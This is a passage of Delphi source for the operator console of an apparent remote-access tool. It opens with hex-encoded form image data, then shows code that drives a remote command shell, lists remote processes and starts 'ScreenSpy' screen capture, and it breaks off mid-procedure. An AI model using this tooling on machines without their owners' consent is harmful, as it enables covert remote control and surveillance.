00000000000000000000000000000000000000000000D8AA8C00C8875D00BE72
4100B9693500B9693500B9693500B9693500B9693500B9693500BA6C3900BA6C
3900BB724100C98C640000000000000000000000000000000000999999007E7E
7E007E7E7E00767676007E7E7E0076767600767676007676760076767600037E
26007E7E7E009595950000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000004D69760025475800254758002547
5800254758002547580032516100000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000085858500F1F1F100E9E9
E900E9E9E900E9E9E900E9E9E900E9E9E900F1F1F100E9E9E90013853F003B9F
5B0008863700FAFAFA0085858500000000000000000000000000000000000000
00007E7E7E006767670071717100717171006D6D6D006D6D6D00595959007E7E
7E00000000000000000000000000000000000000000000000000909191007B7B
7B008686860086868600868686002E4A58004191BC006BB6E00066B1DE0066B1
DE005AA7DC0056A4DB002B83C80032516100D9BBA500C28C6600BF8A6500BC86
6200BC866200B6805D00B57F5D00B57F5D00B57F5D00AE785600AE785600AC76
5500AC765500A8715100AC765500C6A794000000000085858500E9E9E900E9E9
E900E9E9E900E9E9E900E9E9E900E9E9E900E9E9E900288F420046A4660081C1
960046A46600199047007E7E7E00000000000000000000000000000000009999
9900A5A5A500C6C6C600E5E5E500E5E5E500E5E5E500DADADA00B5B5B5008888
88009999990000000000000000000000000000000000A6A6A600B2B2B200D1D1
D100EAEAEA00EAEAEA00EAEAEA003957660063ACCD007EDCFA0075D8F90089E0
F70068CBF50059C3F10059AADD0021445500C8926B0051515100515151005151
5100515151005151510059595900515151005151510059595900595959005959
5900595959005959590059595900A8715100000000007E7E7E00E9E9E900E9E9
E900E9E9E900E9E9E900E9E9E900E1E1E100288F420042A05E0081C1960066B4
810089C6A0004EAA730027975600000000000000000000000000000000007E7E
7E00C0C0C000E5E5E500DADADA00DADADA00D2D2D200D2D2D20085858500A5A5
A5005E5E5E000000000000000000000000000000000090919100CDCDCD00EAEA
EA00E6E6E600E6E6E600D8D8D8003B58670063ACCD007EDCFA0075D8F9004FA4
D50064C1EC004CBFF00059AADD0025475800C8926B004D4D4D003D3D3D003D3D
3D003D3D3D004141410041414100414141004141410041414100414141004141
41004D4D4D004141410059595900AC7655000000000085858500E9E9E900E9E9
E900E9E9E900E9E9E900E9E9E900037A1D0042A05E007FC0950069B5840060B2
7F0073BB8F0090CBA90059B28000309E64000000000000000000000000007E7E
7E00DADADA00E5E5E500C6C6C600E5E5E500D2D2D200D2D2D20085858500AEAE
AE006D6D6D000000000000000000000000000000000096969600E6E6E600E6E6
E600D1D1D100E6E6E600D8D8D8003B5867006FB8D10093EAFF0096E4FF0097DB
F7008DDBFC006DD6FC0066B6E40021445500C8926B004D4D4D00393939003939
39003D3D3D003D3D3D003D3D3D003D3D3D004141410041414100414141004141
4100414141004141410059595900AC7655000000000085858500F1F1F100E9E9
E900E9E9E900E9E9E900E9E9E90012843000128A3A003B9F5B0087C49D0066B4
81008FCAA80054AE7B0033A36D003BA775000000000000000000000000008585
8500E5E5E500DADADA00C6C6C600DADADA00D2D2D200D2D2D20085858500B5B5
B5006D6D6D000000000000000000000000000000000098989800EAEAEA00E6E6
E600D1D1D100E6E6E600D8D8D8004D6976005B9FB500B0BABB007FB6CB0074BF
DE0070AFCC0099A8AA005392B60032516100D19B720041414100393939002D2D
2D00393939003939390039393900393939003D3D3D003D3D3D003D3D3D003D3D
3D00414141004141410051515100AC7655000000000085858500F1F1F100E9E9
E900E9E9E900E9E9E900E9E9E900E9E9E900E9E9E900128A3A0089C6A0006AB7
880090CBA9002F9D620085858500000000000000000000000000000000008888
8800E8E8E800E5E5E500C6C6C600E5E5E500D2D2D200D2D2D20088888800B5B5
B500717171000000000000000000000000000000000098989800EAEAEA00EAEA
EA00D1D1D100E6E6E600D8D8D8009CA8AD0032516100B0A8A600325161003957
660021445500918A86003B58670000000000D19B7200414141002D2D2D002D2D
2D002D2D2D002D2D2D00393939002D2D2D003939390039393900393939003D3D
3D003D3D3D003D3D3D0051515100AE7856000000000089898900F1F1F100E9E9
E900E9E9E900E9E9E900E9E9E900E9E9E900E9E9E900168F43008DC9A5006EB9
8D0090CBA90033A36D0085858500000000000000000000000000000000008888
8800E8E8E800DADADA00C6C6C600E5E5E500D2D2D200D2D2D20095959500B5B5
B5007E7E7E0000000000000000000000000000000000A6A6A600EAEAEA00E6E6
E600D1D1D100E6E6E600E6E6E600D1D1D1001D3F500091999D00A7A8A800797F
8300969696008C9092002144550000000000D19B72003D3D3D002D2D2D00CFCF
CF00ACACAC002D2D2D002D2D2D002D2D2D002D2D2D00393939002D2D2D003939
390039393900393939004D4D4D00B57F5D000000000089898900F1F1F100E9E9
E900E9E9E900E9E9E900E9E9E900E9E9E900E9E9E900199047008FCAA80090CB
A90095CEAF0037A36E0085858500000000000000000000000000000000008888
8800E5E5E500E5E5E500DADADA00DADADA00DADADA00C6C6C600A5A5A500B5B5
B5007E7E7E000000000000000000000000000000000098989800EAEAEA00E6E6
E600E6E6E600E6E6E600E6E6E600D1D1D10078868D0021445500717E84008A92
96006E7D84002E4A58000000000000000000D7A0770039393900212121002121
2100DEDEDE00737373002D2D2D002D2D2D002D2D2D002D2D2D002D2D2D002D2D
2D00393939003939390041414100B57F5D000000000089898900F1F1F100F1F1
F100E9E9E900E9E9E900E9E9E900E9E9E900E1E1E10027975600289A5A00309E
640033A36D0037A36E0089898900000000000000000000000000000000008888
8800B5B5B50095959500858585007E7E7E007E7E7E008585850088888800A5A5
A5008585850000000000000000000000000000000000A6A6A600BDBDBD00A6A6
A60096969600909191009091910096969600A0A0A000989FA2004C616B004B67
750068808B00000000000000000000000000D9A17800393939001F1F1F00CFCF
CF00ACACAC00212121002121210021212100212121002D2D2D002D2D2D002D2D
2D002D2D2D002D2D2D0041414100B8825E000000000089898900F1F1F100E9E9
E900E9E9E900E9E9E900E9E9E900E9E9E900E1E1E100E1E1E100D5D5D500D5D5
D500D2D2D200F5F5F50089898900000000000000000000000000000000008888
8800A5A5A500C6C6C600E8E8E800F6F6F600F6F6F600E5E5E500D2D2D200A5A5
A500858585000000000000000000000000000000000098989800B2B2B200D8D8
D800EAEAEA00F7F7F700F7F7F700EAEAEA00D8D8D800B2B2B200989898000000
000000000000000000000000000000000000D7A07700393939001F1F1F001F1F
1F001F1F1F0021212100212121002D2D2D00212121002D2D2D002D2D2D002D2D
2D002D2D2D003939390041414100B8825E000000000089898900FAFAFA00E9E9
E900E9E9E900E9E9E900E1E1E100E1E1E100D8D8D800D5D5D500E9E9E900F1F1
F100F5F5F500F1F1F1008585850000000000000000000000000000000000A5A5
A500F6F6F600E8E8E800E8E8E800E5E5E500DADADA00E8E8E800E8E8E800F6F6
F6009999990000000000000000000000000000000000B2B2B200F7F7F700F7F7
F700EAEAEA00E6E6E600E6E6E600EAEAEA00F7F7F700F7F7F700B2B2B2000000
000000000000000000000000000000000000D7A077002D2D2D002D2D2D003939
39002D2D2D003939390039393900393939003939390039393900393939003D3D
3D003D3D3D003D3D3D0041414100BC8662000000000089898900F1F1F100E9E9
E900E1E1E100E1E1E100E1E1E100E1E1E100E1E1E100D5D5D500FAFAFA00E9E9
E900DDDDDD00B2B2B200A9A9A90000000000000000000000000000000000AEAE
AE00DADADA00E5E5E500A5A5A500DADADA00E5E5E500B5B5B500E5E5E500DADA
DA00AEAEAE0000000000000000000000000000000000BDBDBD00E6E6E600E6E6
E600B2B2B200E6E6E600E6E6E600C4C4C400E6E6E600E2E2E200BDBDBD000000
000000000000000000000000000000000000D9A17800D9A17800D7A07700D19B
7200D9A17800D19B7200D19B7200CE986F00CE986F00C8926B00C8926B00C892
6B00C7906A00C28C6600C28C6600BF8A65000000000095959500F1F1F100E1E1
E100E9E9E900E1E1E100E1E1E100E1E1E100D5D5D500D5D5D500FAFAFA00D5D5
D500A9A9A900A1A1A1000000000000000000000000000000000000000000C0C0
C000C6C6C600C6C6C600A5A5A500A5A5A500A5A5A500AEAEAE00C6C6C600C6C6
C600C0C0C00000000000000000000000000000000000C4C4C400D1D1D100D8D8
D800B2B2B200B2B2B200BDBDBD00BDBDBD00D8D8D800CDCDCD00C4C4C4000000
000000000000000000000000000000000000DDAB8400F1DCCE00EAC09F00E8B8
9100E8B89100E8B89100E8B89100E8B89100E8B89100CDC8C400E8B89100CDC8
C400E8B891004363FF00EAC09F00C08F6F0000000000A1A1A100F1F1F100F1F1
F100E9E9E900F1F1F100F1F1F100F1F1F100F1F1F100F1F1F100E9E9E900A9A9
A900A1A1A1000000000000000000000000000000000000000000000000000000
0000C6C6C600C0C0C000B5B5B500B5B5B500B5B5B500C0C0C000B5B5B500C6C6
C600000000000000000000000000000000000000000000000000D1D1D100C4C4
C400C4C4C400C4C4C400C4C4C400CDCDCD00C4C4C400D1D1D100000000000000
000000000000000000000000000000000000E5BFA200DEB39000DCA57900D9A1
7800D9A17800D9A17800D9A17800D19B7200D19B7200D19B7200D19B7200CE98
6F00C8926B00C8926B00C59D7E00D0AC92000000000000000000A9A9A9009595
950089898900959595008989890089898900959595008989890099999900B5B5
B500000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000D0B3
A100BE927700AD744E00AD744E00AD744E00AD744E00AD744E00AD744E00AE77
5300CEAF9D000000000000000000000000000000000000000000000000000000
000000000000000000005E9D63FF000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000999999007E7E
7E007E7E7E0077777700777777007E7E7E0077777700968A21009A9228009E99
3000A29F3600A4A23C000000000000000000000000000000000000000000B17D
5C00EEECEA00F7F2F000F7F2F000F7F2F000F8F2ED00F6F1EC00F7F2F000F6F1
EC00AE7753000000000000000000000000000000000000000000000000000000
00000000000066B06EFF46A250FF000000000000000000000000000000000000
0000000000000000000000000000000000000000000075B0E5003D8FDB003289
D9003289D9003289D9003289D9003289D9003289D9003289D9003289D9003289
D9003289D90084B8E80000000000000000000000000086868600F1F1F100E9E9
E900E9E9E900E9E9E900E9E9E900E5E5E500F1F1F10091831C00CAC48F00CDC9
9300CDC99300A4A23C008686860000000000000000000000000000000000AA6C
4400F8F2ED00FDE8D700FDE8D700FDE8D700FDE8D700FDE8D700FDE8D700F6ED
E500AD744E000000000000000000000000000000000000000000000000000000
000066B06EFF46A250FF46A250FF3D8B44FF37833EFF327B37FF3D7F43FF6496
68FF000000000000000000000000000000004698DC00DEF0FA00A6DDF4009DDB
F40095DAF3008DD8F30085D7F3007ED4F2007ED4F20071D2F10071D2F10068CF
F100C1EAF8003E93DB000000000000000000000000007E7E7E00E9E9E900E9E9
E900E9E9E900E9E9E900E5E5E500E9E9E900E5E5E5008F7F1600CAC48F00B9B2
6E00CDC99300A29F36007777770000000000000000000000000000000000AA6C
4400F6F1EC0080614100AB815700AB815700AB815700AB81570080614100F6ED
E500A96A4200AD744E00AE775300CEAF9D0000000000000000000000000073BD
7CFF73BD7CFF96D19FFF94CF9CFF8FCD96FF8ACA91FF85C78BFF7ABE81FF65AD
6CFF4B9251FF68976BFF00000000000000003E93DB00EEFAFE00A1E9F90091E5
F80080E1F70071DEF60062DAF50053D7F40043D3F30039D0F2002ECDF10025CB
F000CAF2FB003E93DB0000000000000000000000000086868600E9E9E900E9E9
E900E9E9E900E9E9E900E9E9E900E5E5E500E5E5E5008F7F1600C4BB8700B7AE
6A00CAC48F009D982F007E7E7E0000000000000000000000000000000000AA6C
4400F7F2F000AB815700E5AC7400E5AC7400E5AC7400E5AC7400AB815700F6ED
E500AD744E00F7F2F000F6F1EC00AE77530000000000000000000000000073BD
7CFF79C483FF9ED7A7FF9BD4A4FF97D29FFF92CF9AFF8DCC95FF88CA90FF7AC2
82FF7EC485FF5DA463FF69996CFF000000003A9ADB00F1FAFD00B2EDFA00A1E9
F90091E5F80080E1F70075DEF60062DAF50053D7F40043D3F30039D0F2002ECD
F100CAF2FB003A9ADB0000000000000000000000000086868600E9E9E900E9E9
E900E9E9E900E9E9E900E5E5E500846912008A7413009E8E3A00C4BB8700B5AC
6500CAC48F00AEA85400A1A33300A4A23C00D0B3A100BE927700AD744E00A765
3A00F8F2ED00A57E5500DEA97200DEA97200DCA67100DCA67100A57E5500F6ED
E500AD744E00FDE8D700F6EDE500AD744E000000000000000000000000000000
000079C483FF6AB774FF6AB774FF54AB5EFF4EA357FF499B51FF63AC6BFF83C3
8BFF87C98FFF82C689FF509756FF699D6DFF39A1DA00F1FAFD00CAF2FB00B8EF
FB00ABECFA00A1E9F9008AE3F7007BE0F6006BDCF6005CD9F5004ED6F40043D3
F300D0F3FC0039A1DA0000000000000000000000000086868600F1F1F100E9E9
E900E9E9E900E9E9E900E9E9E9007A580300A08D4200C0B57F00B7AE6A00B2A7
6000BBB37300CBC79000B2AC59009D982F00B17D5C00EEECEA00F7F2F000AA6C
4400F7F2F000BDAA8700FDE4B400FDE4B400FDE4B400FDE4B400BDAA8700F6ED
E500A66C4E00575AB400F6EDE500AD724D000000000000000000000000000000
0000000000006AB774FF6AB774FF000000000000000000000000000000005BA2
62FF86C68EFF88C98FFF6FB376FF699D6DFF39A6DA00FFFFFF00FFFFFF00F1FA
FD00FFFFFF00EEFAFE00DEF0FA0094E6F80080E1F7007BE0F60062DAF5005CD9
F500D0F3FC003087B8004C7AA200406E95000000000086868600F1F1F100E9E9
E900E9E9E900E9E9E900E9E9E900E5E5E50090772D00A08D4200C1B68100B2A7
6000C8C18C00AAA14E00968A210000000000AA6C4400F8F2ED00FDE8D700AA6C
4400F7F2F000B5A38000F2DCAC00F2DCAC00FDE4B400FDE4B400BDAA8700F6F1
EC00AD724D006167DE00F6EDE500AD744E000000000000000000000000000000
000000000000000000006AB774FF000000000000000000000000000000000000
000054A05BFF48954FFF408B47FF478B4EFF37ABDA00E9F6FB0093D4EF0087CE
EE0072C0E900C9E9F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00F1FAFD00EEFA
FE00AFC0D100558AB6008BB0D40044739D000000000089898900F1F1F100E9E9
E900E9E9E900E9E9E900E9E9E900E9E9E900E5E5E5008F752800A4934700C1B6
8100A496450091831C008686860000000000AA6C4400F6F1EC00356B3900A370
4700F7F2F00095805B00BAA57F00BAA57F00BAA57F00BAA57F008E7F6400F6F1
EC00A66C4E006065D600F6EDE500AD744E005DA964FF4C9C54FF48954FFF4990
4FFF00000000000000000000000000000000000000004A814DFF000000000000
00000000000000000000000000000000000039A6DA00F1FAFD0095DAF30095DA
F3007ED4F20069CAED0069CAED0086C8DD0097B1B300CAAD9400CDAE9400C8A9
8D00AA988D0095B0CB005B8BB600000000000000000089898900F1F1F100E9E9
E900E9E9E900E9E9E900E9E9E900E9E9E900E5E5E500E0DFDD00847613009E8E
3A0086760800F1F1F1008989890000000000AA6C4400F7F2F000468F4B00A57E
5500DEDEDC00F7F2F000F7F2F000F7F2F000F7F2F000F7F2F000F8F2ED00F6ED
E500AE775300948BE000F6F1EC00AD744E0084C38BFF80C389FF8DCC95FF83C4
8AFF54995AFF0000000000000000000000000000000034873AFF458B4AFF0000
0000000000000000000000000000000000003FB2DC00FFFFFF008AE3F7008AE3
F7009EE0F500ABE1F600F1FAFD00C5B7A900E2CDBB00F5E0CC00F7E0C700F8E2
CB00F3D1B200A6988E0000000000000000000000000089898900F1F1F100E9E9
E900E9E9E900E9E9E900E9E9E900E5E5E500E5E5E500E5E5E500D5D5D5008066
0500D8D8D800F1F1F1008989890000000000AA6C4400F7F2F000448A4A008797
5E00A37D5800A3704700A7653A00AA6C4400A6654200AA6C4400A6654200A66C
4E00B6969C00948BE000F7EFE800AD744E008ECD96FF75BF7EFF98D2A1FF94CF
9CFF86C78DFF5EA765FF398640FF347E3AFF2E7633FF34873AFF458B4AFF478D
4CFF000000000000000000000000000000003AB4DB00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00EEFAFE00C9AB9300F2E3D400F4DAC000F3D8BC00F3D8
BC00F8E2CB00C3A38A0000000000000000000000000089898900FAFAFA00E9E9
E900E9E9E900E9E9E900E5E5E500E5E5E500E5E5E500D8D8D800D8D8D800D5D5
D500D5D5D500F1F1F1008989890000000000AA6C4400F7F2F0006F9E790093D4
A10093D4A10093D4A100A6724A00F7F2F000746DC3008F87E0008F87E0008F87
E000948BE0007F7AB800F8F2ED00AD744E00000000008ECD96FF85C98EFF9BD4
A4FF8FCE98FF92CF9AFF8DCC95FF88CA90FF83C68BFF7EC485FF79C17FFF478D
4CFF478D4CFF00000000000000000000000058C1E00061C2E10061C2E10061C2
E10061C2E10061C2E10055BEDF00C8A98D00F8EADC00F4DAC000F4DAC000F3D8
BC00F8E2CB00CAAD940000000000000000000000000089898900F1F1F100E5E5
E500E5E5E500E5E5E500E5E5E500E5E5E500D8D8D800D8D8D800E9E9E900F1F1
F100F1F1F100F1F1F1008686860000000000AC6D4400F7F2F000699773008DCA
9C008FCD9D0091D19F00A8805D00DEDEDC00F7F2F000F7F2F000F7F2F000F8F2
ED00F7F2F000F8F2ED00F6EDE500AB815700000000000000000090CF97FF79C3
83FF89CA92FF94D09CFF95D19EFF90CF99FF8CCB94FF87C98FFF80C487FF4E95
54FF478D4CFF0000000000000000000000000000000000000000000000000000
0000000000000000000000000000CAAD9400F2E3D400F5E0CC00F5E0CC00F4DA
C000F2E3D400C9AB930000000000000000000000000089898900FAFAFA00E5E5
E500E5E5E500E5E5E500E5E5E500D8D8D800E5E5E500D5D5D500FAFAFA00E5E5
E500E5E5E500B2B2B200A9A9A90000000000AE775300F7F2F0004A7D5400689B
7300689B7300689B73008D896700A2765700AE775300A7653A00AA6C4400AA6C
4400AA6C4400AA6C4400AD744E00CEAF9D0000000000000000000000000089C9
90FF89C990FF64B46CFF50A65AFF4B9E53FF45964DFF4FAC58FF5BA262FF5BA2
62FF000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000C0B5A700DDC2AA00F4E6DA00F8EADC00F5E0
CC00E3C9B100C0B5A70000000000000000000000000090909000F1F1F100E5E5
E500E5E5E500D8D8D800E5E5E500E5E5E500D8D8D800D5D5D500FAFAFA00D5D5
D500A9A9A900A1A1A1000000000000000000B1826500DEDEDC00F7F2F000F7F2
F000F7F2F000F7F2F000F8F2ED00F8F2ED00EEECEA00AB815700000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000004FAC58FF4FAC58FF0000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000C0B5A700BEAD9600C8A98D00CAAD
9400BEAD960000000000000000000000000000000000A1A1A100F1F1F100F1F1
F100F1F1F100F1F1F100F1F1F100F1F1F100F1F1F100F1F1F100E5E5E500A9A9
A900A1A1A100000000000000000000000000CFB5A300B1826500AE775300AA6C
4400AC6D4400AA6C4400AA6C4400AA6C4400AD744E00CEAF9D00000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000004FAC58FF000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000A9A9A9009090
900089898900909090008989890089898900909090008989890099999900B5B5
B50000000000000000000000000000000000424D3E000000000000003E000000
2800000040000000400100000100010000000000000A00000000000000000000
000000000000000000000000FFFFFF00FF8FFFFF00000000FC89FFFF00000000
F800FEFF00000000FC01F8FF00000000F800F0F100000000F80000F900000000
900000EC00000000000100A400000000800100A400000000001B00EC00000000
001F00F900000000001FF0F900000000803FF8FF00000000803FFEFF00000000
D17FFFFF00000000FBFFFFFF00000000FFC3C03FFFFFFC7FFF81001F81FFFC3F
E000001F00FF80038000800300FF00010000C00181FF00010000E000C3FF0000
0001E00000F900000003C00000C80001001FC00000440001001FE00100240001
001FF00300240001001FFF0300240001001FFE0300440001801FFE03FFC80001
C01FFF03FFF98003E01FFF87FFFFFFFFFFFFFFFF9FFF9FFFF81FF81F077B0F07
F00FF00F00310003E007E00780038001C003C0038007C00180018001C007C001
80018001C003C00380018001C031C00380018001C061E0C180018001E0C1F081
80018001F981F901C003C003FF01FE01E007E007FE00FE01F00FF00FFE00FF00
F81FF81FFF00FF80FFFFFFFFFFF1FFF9146F146F140314035547554755035503
1403140314031403FF01FF01FF83FF8344004400440044005400540054005400
4583458345014501FF83FF83FF83FF831403C3831447C3C755038183556F81EF
147F00FF147F00FFFFFF00FFFFFF00FF451700FF451700FF555700FF555700FF
451781FF451781FFFFFFC3FFFFFFC3FF8003FFFFC003C0030001FFFF80018001
0000E000800180010000C000800180010000C000800080008000800080008000
8001800080018001800100008001800180010000800180018001000080018001
8001800000010001800180000001000180018001000100018001C07F00030003
C001E0FF80078007E003FFFF800F800FFFFFFFFF0003C003FFFFFFEF00038001
F80FFFE700038001E003020300038001C0010001000380018000000100038001
00000003000380010000F067000380010000F067000380010000000300038001
8001000100018001C0030001FF808001E0070203FFC08001F81FFFE7FFC08003
FFFFFFEFFFC38007FFFFFFFFFFE3C00FF82187FF9FFFE07FF00003FF0FFFE07F
E00001FF007FF000C00000FF807F00000000007FC03F00000000803FC01F0000
0000C03FC01F00000000E03FC13300000000F003C0E100000000F801E0C10000
0000FF00F98100000000FF00FF010000C003FF08FE010000F00FFF07FE00FC00
F81FFF87FF00FE00FE7FFFC7FFF9FF00C003FDFFFDFFFFFF8001F9FFF9FFFC3F
8001F00FF00FFC3F8001E003E003FC3F8000E001E001FC3F8000F000F000F81F
8001F9E0F9E0E0078001FDF0FDF0C00380010FBF0FBFC1838001079F079FC3C3
0001000F000FC3C300018007800700008001C007C00781818003E00FF00FC3C3
8007FF9FFF9FE7E7C00FFFBFFFBFFFFF87FFFFFFFFFFFFFF03FF8001FFFFFC3F
01FF8001FFE3F00F00FF8001FFC3E007007FC813FF83C0030007E007E007C003
C003E007C00F8001C001E007801F8001F800C003801F8001F800C003801F8001
F800C003801FC003F800C003801FC003F801E007801FE007FC03E007C03FF00F
FE07F00FE07FFC3FFF0FFC3FFFFFFFFF0000FE7FFFFFFFFF0000FC3F0000FFFF
0000C4230000C001000080010000800100008001000080010000C00300008001
0000000000008001000001800000800100000180000080010000000000008001
0000C00300008001000080010000800300008001000180FF0000C4230003FFFF
0000FC3F0003FFFF0000FC3FFF07FFFFFFFFFFE3FFE30000FFFFFFC1FFC10000
8001800080000000000100000000000000010000000000000001000100010000
0001000100010000000100010001000000010001000100000001000100010000
00010001000100000001000100010000000300030003000080FF80FF80FF0000
C1FFC1FFC1FF0000FFFFFFFFFFFF0000FFFFFFFFFFFFFFFF83FFFC3F00000000
81FFF00F0000000080FFE00700000000807FC00300000000C03FC00300000000
E01F800100000000F00F800100000000F807800100000000FC03800100000000
FE01C00300000000FF00C00300000000FF80E00700010001FFC0F00F00030003
FFE1FC3F00070007FFFFFFFFFFFFFFFFFE41FE63F07FFE4FFC00FC01F03FFC07
C400C400C023C403C000C000C003C001C000C000C003C000C000C001C003C001
018001800100000003C003C0038003C003C003C0038003C00180018001800180
C003C003C001C003C003C003C003C003C003C003C003C003C423C423C423C423
FC3FFC3FFC3FFC3FFE7FFE7FFE7FFE7FFE01F80FFE01FFFF8000E007FC00FFFF
0000C0030000F0FF000080010000E07F000080000000C03F000000000000C01F
000000000000C00F000000000000E007000000000000F003000100000001F801
000F00000003FC00000F80010003FE00000F80010003FF00000FC0030003FF80
801FE0070003FFC0E07FF81F800FFFE0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFF00010001FFFFF00700010001F00FF7F700010001F00FF7F700010001
FFFFF7F700010001FFFFF7F700010001FFFFF7F700010001FFFFF7F700010001
FFFFF00700010001FFFFF00700010001FFFFFFFF00010001FFFFFFFF00010001
FFFFFFFF00018003FFFFFFFFFFFFFFFFFFFFFFEFFFCFFFFFFFFFFFC7FFC7FFFF
F3FFFF83FC03E187F1FFFF01C001E187F0FFC0008000E187F07F80008001E187
F03F80018001E187F01F80018001E187F01F80018001E187F03F80018001E187
F07F80018001E187F0FF80018001E187F1FF80018003E187F3FF800380FFE187
FFFF80FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE7FFFFFFFFF8001FC01
E7E700008001C401C3C300008001C001C18300008001C001E00700008001C001
F00F000080010180F81F0000800103C0F81F0000800103C0F00F000080010180
E00700008001C003C183CFFF8001C003C3C3CFFF8001C003E7E7E07F8001C423
FFFFFFFF8001FC3FFFFFFFFFFFFFFE7FFFFFFFE3FFC10000FFFFFF81FF800000
FFE4C000C0000000000B800080000000000B800080000000000B800180000000
000B800180010000000B800180010000000B800180010000000B800180010000
000B800180010000000B800380030000000B80FF80FF00000004FFFFFFFF0000
FFFFFFFFFFFF0001FFFFFFFFFFFF8003C003FFFFFF01FFFF8001F00FC0000000
8001E007800000008001E007800000008000E007800000008000E00780000000
8001E007800100008001E007800100008001E007800300008001E00780070000
8001E007801F00008001E007801F00008001E007801F00008003E007801F0000
8007F00FC03F0000C00FFFFFFFFFFFFFE007FDFFFFFFC003E007F9FF80038001
E007F00F00038001E000E00300038001E000E001000380000000F00000038000
0000F9E0000080010000FDF00000800100000FBF000180010000079F00038001
0000000F0003800100008007000380010000C007FE0380010000E00FFE038003
003FFF9FFF078007003FFFBFFFFFC00F00000000000000000000000000000000
000000000000}
end
object PopupMenu_CmdShell: TPopupMenu
Left = 428
Top = 184
object MenuItem_CmdShellActive: TMenuItem
Caption = 'Active'
OnClick = MenuItem_CmdShellActiveClick
end
end
object PopupMenu_Processes: TPopupMenu
Left = 516
Top = 184
object MenuItem_ProcessesRefresh: TMenuItem
Caption = 'Refresh'
OnClick = MenuItem_ProcessesRefreshClick
end
end
end
================================================
FILE: Client/FormOperate.pas
================================================
unit FormOperate;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, System.ImageList,
Vcl.ImgList, Vcl.StdCtrls, UnitClientContext, System.StrUtils, Vcl.Menus,
Vcl.ExtCtrls;
type
TOperateForm = class(TForm)
ImageList_TreeViewMenu: TImageList;
PageControl_1: TPageControl;
TabSheet_CmdShell: TTabSheet;
TabSheet_Processes: TTabSheet;
Memo_CmdShell: TMemo;
PopupMenu_CmdShell: TPopupMenu;
MenuItem_CmdShellActive: TMenuItem;
ListView_Processes: TListView;
PopupMenu_Processes: TPopupMenu;
MenuItem_ProcessesRefresh: TMenuItem;
TabSheet_ScreenSpy: TTabSheet;
ScrollBox_ScreenSpy: TScrollBox;
PaintBox_ScreenSpy: TPaintBox;
Panel_1: TPanel;
Button_ScreenSpy_Start: TButton;
Button_ScreenSpy_End: TButton;
Label_1: TLabel;
ComBox_ScreenSpy_Quality: TComboBox;
procedure Memo_CmdShellKeyPress(Sender: TObject; var Key: Char);
procedure MenuItem_CmdShellActiveClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure MenuItem_ProcessesRefreshClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Button_ScreenSpy_StartClick(Sender: TObject);
procedure Button_ScreenSpy_EndClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure PaintBox_ScreenSpyPaint(Sender: TObject);
private
{ Private declarations }
CmdShellCommand: AnsiString;
ScreenSpyBmp: TBitmap;
public
{ Public declarations }
ctx: TClientContext;
procedure AddToCmdShell(s: string);
procedure SetCmdShellState(b: Boolean);
procedure ClearProcesses();
procedure AddProcessesItem(pid, processname: string);
procedure SetScreenSpyState(b: Boolean);
procedure ScreenSpyDraw(var mousept, pt: TPoint; var bmp: TBitmap);
end;
implementation
uses
UnitGlobal;
{$R *.dfm}
procedure TOperateForm.AddProcessesItem(pid, processname: string);
begin
with ListView_Processes.Items.Add do
begin
Caption := pid;
SubItems.Add(processname);
end;
end;
procedure TOperateForm.AddToCmdShell(s: string);
begin
Memo_CmdShell.Lines.Text := Memo_CmdShell.Lines.Text + s;
SendMessage(Memo_CmdShell.Handle, WM_VSCROLL, SB_BOTTOM, 0);
Memo_CmdShell.SelStart := Length(Memo_CmdShell.Lines.Text);
end;
procedure TOperateForm.Button_ScreenSpy_EndClick(Sender: TObject);
begin
ctx.SendCmd(CMD_STOP_SCREENSPY);
end;
procedure TOperateForm.Button_ScreenSpy_StartClick(Sender: TObject);
var
quality: DWORD;
begin
case ComBox_ScreenSpy_Quality.ItemIndex of
0:
quality := 1;
1:
quality := 4;
2:
quality := 8;
3:
quality := 16;
4:
quality := 32;
else
quality := 16;
end;
ctx.SendCmd(CMD_BEGIN_SCREENSPY, @quality, SizeOf(quality));
end;
procedure TOperateForm.ClearProcesses;
begin
ListView_Processes.Items.Clear;
end;
procedure TOperateForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if MenuItem_CmdShellActive.Checked then
begin
ctx.SendCmd(CMD_STOP_CMDSHELL);
end;
if Button_ScreenSpy_End.Enabled then
begin
Button_ScreenSpy_EndClick(Self);
end;
end;
procedure TOperateForm.FormCreate(Sender: TObject);
begin
SetCmdShellState(False);
SetScreenSpyState(False);
ScreenSpyBmp := TBitmap.Create;
end;
procedure TOperateForm.FormDestroy(Sender: TObject);
begin
FreeAndNil(ScreenSpyBmp);
end;
procedure TOperateForm.Memo_CmdShellKeyPress(Sender: TObject; var Key: Char);
begin
try
if Key = #13 then
begin
// send cmd
CmdShellCommand := CmdShellCommand + #13#10;
ctx.SendCmd(CMD_CMDSHELL_DATA, PAnsiChar(CmdShellCommand), Length(CmdShellCommand) + 1);
